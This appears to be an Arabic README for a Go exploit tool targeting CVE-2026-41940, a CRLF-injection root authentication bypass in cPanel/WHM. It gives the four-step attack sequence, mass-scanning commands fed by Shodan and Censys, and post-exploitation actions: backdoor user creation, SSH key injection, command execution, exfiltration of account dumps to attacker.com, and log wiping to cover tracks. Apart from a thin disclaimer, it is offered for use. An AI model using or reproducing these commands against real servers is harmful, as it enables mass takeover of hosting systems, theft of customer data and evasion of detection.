
استغلال PoC لثغرة CVE-2026-41940، وهي تجاوز للمصادقة في cPanel وWHM عبر حقن CRLF. يتضمن فحصًا جماعيًا، وإجراءات ما بعد الاستغلال، وقشرة تفاعلية للاختبار المصرح به.
الأداة من إعداد: Ishan Oshada | GitHub
⚠️ لأغراض الاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به غير قانوني.


CVE-2026-41940 هي ثغرة حقن CRLF في cPanel و WHM (الإصدارات < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
تقوم دالة saveSession() بكتابة بيانات الجلسة بعد تطبيق filter_sessiondata()، ولكن يتم تطبيق الفلتر بعد فوات الأوان. من خلال حقن أحرف CRLF (\r\n) داخل ترويسة Authorization: Basic، يمكن للمهاجم تسميم ملف الجلسة على القرص بأزواج مفاتيح-قيم تعسفية (مثل hasroot=1, tfa_verified=1, user=root).
عند تحميل الجلسة المسمومة لاحقًا، يمنح cPanel/WHM وصولًا كاملًا كجذر دون أي كلمة مرور.
--verbose) – يعرض طلبات/استجابات HTTP كاملةgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
بدلاً من البناء من المصدر، يمكنك تنزيل الملفات التنفيذية المستقرة الأحدث مباشرة من المستودع. يتم إنشاؤها تلقائيًا لكل تحديث:
ملاحظة: إذا كنت تستخدم Linux أو macOS، تذكر منح أذونات التنفيذ بعد التنزيل:
# فحص أساسي
go run main.go -u https://target.com:2087
# سرد جميع حسابات cPanel
go run main.go -u https://target.com:2087 -action list
# صدفة WHM تفاعلية
go run main.go -u https://target.com:2087 -action shell
# مسح جماعي باستخدام urls.txt
go run main.go -l urls.txt -t 20 -o results.json
بمجرد الدخول إلى الصدفة (-action shell)، استخدم هذه الأوامر:
يتضمن المستودع urls.txt مع 1000 هدف مثال للمسح الجماعي.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# مسح جماعي أساسي (10 خيوط)
go run main.go -l urls.txt
# مسح جماعي سريع (50 خيطًا، حفظ النتائج)
go run main.go -l urls.txt -t 50 -o results.json
# مسح جماعي مع إجراء ما بعد الاستغلال
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# مسح جماعي مع مخرجات مفصلة
go run main.go -l urls.txt -t 10 --verbose
# مسح جماعي مع مهلة متزايدة (شبكات بطيئة)
go run main.go -l urls.txt -t 30 -timeout 30
# توليد نطاق IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# توليد نطاق IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# من Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# من Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ تم اكتشاف هدف ضعيف ║
╠════════════════════════════════════════════════════════════════╣
║ الهدف: https://target.example.com:2087 ║
║ الرمز: /cpsess1234567890 ║
║ الإصدار: 11.76.0.22 ║
║ الجلسة: :od2aMhg5zJeQunUy... ║
║ رابط API: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] الإجراء: LIST
• المستخدم: admin | النطاق: example.com
• المستخدم: backup | النطاق: backup.example.com
• المستخدم: client1 | النطاق: client1.com
════════════════════════════════════════════════════════════════════
ملخص اكتمال الفحص
════════════════════════════════════════════════════════════════════
إجمالي الأهداف المفحوصة: 1000
الأهداف الضعيفة: 47
الوقت المستغرق: 125.34 ثانية
الأهداف الضعيفة:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
الرمز: /cpsess1111111111
الإصدار: 11.76.0.22
الجلسة: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
الرمز: /cpsess2222222222
الإصدار: 11.86.0.15
الجلسة: Km2psnYR9w3rRkLU...
3. https://example.com:2087
الرمز: /cpsess3333333333
الإصدار: 11.118.0.42
الجلسة: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] تم حفظ النتائج في: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # التوثيق
├── bin/ # ملفات تنفيذية جاهزة متعددة المنصات
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # الكود المصدري الرئيسي
├── urls.txt # 1000 هدف مثال
├── go.mod # ملف وحدة Go
├── .gitignore # ملف تجاهل Git
└── results.json # ملف الإخراج (مُنشأ)
هذه الأداة لأغراض تعليمية واختبار الاختراق المصرح به فقط.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب:
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام. استخدم على مسؤوليتك الخاصة.
باستخدام هذه الأداة، فإنك توافق على أن لديك التفويض المناسب لاختبار الأنظمة المستهدفة.
Ishan Oshada
إذا وجدت هذه الأداة مفيدة:
استمتع بالاختراق! 🚀
تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدمها بأخلاق.
| المرحلة | الإجراء | الوصف |
|---|
| 1 | POST /login/?login_only=1 | طلب ملف تعريف ارتباط جلسة ما قبل المصادقة ببيانات اعتماد خاطئة |
| 2 | GET / + ترويسة Authorization مع CRLF | تسميم ملف الجلسة بـ hasroot=1, user=root, إلخ. |
| 3 | GET /scripts2/listaccts | إجبار ذاكرة التخزين المؤقت للجلسة على إعادة تحميل الملف المسموم (الانتشار) |
| 4 | GET /cpsess<TOKEN>/json-api/version | التحقق من وصول الجذر – النجاح = 200 + بيانات الإصدار |
| المنصة | الموقع |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | الغرض | الأمر |
|---|
| 1 | فحص هدف واحد أساسي | go run main.go -u https://target.com:2087 |
| 2 | سرد جميع حسابات cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | تغيير كلمة مرور الجذر | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | تنفيذ أمر نظام | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | الحصول على معلومات الخادم | go run main.go -u https://target.com:2087 -action info |
| 6 | إنشاء مستخدم باب خلفي | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | إنشاء رمز API (سري) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | حقن مفتاح SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | تفريغ ونقل الحساب | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | مسح السجلات وتغطية الآثار | go run main.go -u https://target.com:2087 -action wipe |
| 11 | صدفة WHM تفاعلية | go run main.go -u https://target.com:2087 -action shell |
| 12 | مسح جماعي من ملف | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | حفظ النتائج في JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | تفعيل تصحيح الأخطاء المفصل | go run main.go -u https://target.com:2087 --verbose |
| 15 | الأنبوب من أدوات أخرى | cat urls.txt | go run main.go -t 20 |
| 16 | زيادة المهلة | go run main.go -u https://target.com:2087 -timeout 30 |
| الإجراء | العلامة | الوصف | مستوى التخفي |
|---|
list | -action list | سرد جميع حسابات cPanel | منخفض |
passwd | -action passwd -passwd NEWPASS | تغيير كلمة مرور الجذر (صاخب) | عالي (قابل للاكتشاف) |
cmd | -action cmd -cmd "id" | تنفيذ أوامر نظام التشغيل | متوسط |
info | -action info | عرض اسم المضيف، الحمل، الإصدار | منخفض |
adduser | -action adduser -new-user U -new-domain D | إنشاء مستخدم cPanel باب خلفي | متوسط |
apitoken | -action apitoken [-tokenname NAME] | توليد رمز API دائم | منخفض جدًا |
sshkey | -action sshkey -sshkey "ssh-rsa..." | حقن مفتاح SSH العام في الجذر | منخفض جدًا |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | نسخ احتياطي ونقل الحساب | متوسط |
wipe | -action wipe | تعطيل WAF، مسح السجلات، مسح التاريخ | تغطية الآثار |
shell | -action shell | صدفة WHM تفاعلية | منخفض |
| الأمر | الوصف | مثال |
|---|
accounts | سرد جميع حسابات cPanel | accounts |
passwd <pass> | تغيير كلمة مرور الجذر | passwd MyNewPass123!2006 |
exec <command> | تنفيذ أمر نظام | exec "cat /etc/passwd" |
info | عرض معلومات الخادم | info |
version | عرض إصدار cPanel | version |
help | عرض الأوامر المتاحة | help |
exit | الخروج من الصدفة | exit |
| الخيار | النوع | الافتراضي | الوصف |
|---|
-u | string | - | رابط الهدف (مثل https://example.com:2087) |
-l | string | - | ملف يحتوي على الأهداف (واحد في كل سطر) |
-t | int | 10 | عدد الخيوط المتزامنة |
-action | string | - | إجراء ما بعد الاستغلال |
-passwd | string | - | كلمة المرور الجديدة (لإجراء passwd/adduser) |
-cmd | string | - | الأمر المراد تنفيذه (لإجراء cmd) |
-new-user | string | - | اسم المستخدم لإجراء adduser |
-new-domain | string | - | النطاق لإجراء adduser |
-tokenname | string | - | اسم رمز API (إجراء apitoken) |
-sshkey | string | - | مفتاح SSH العام للحقن (إجراء sshkey) |
-dumpuser | string | - | اسم المستخدم للنسخ الاحتياطي (إجراء dumpacct) |
-exfil | string | - | رابط بعيد للنقل (إجراء dumpacct) |
-o | string | - | ملف JSON للإخراج (حفظ تلقائي عند العثور) |
--verbose | bool | false | عرض طلبات/استجابات HTTP |
-h | bool | false | عرض قائمة المساعدة |
| الفرع | الإصدار المُصحح | الضعيف < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |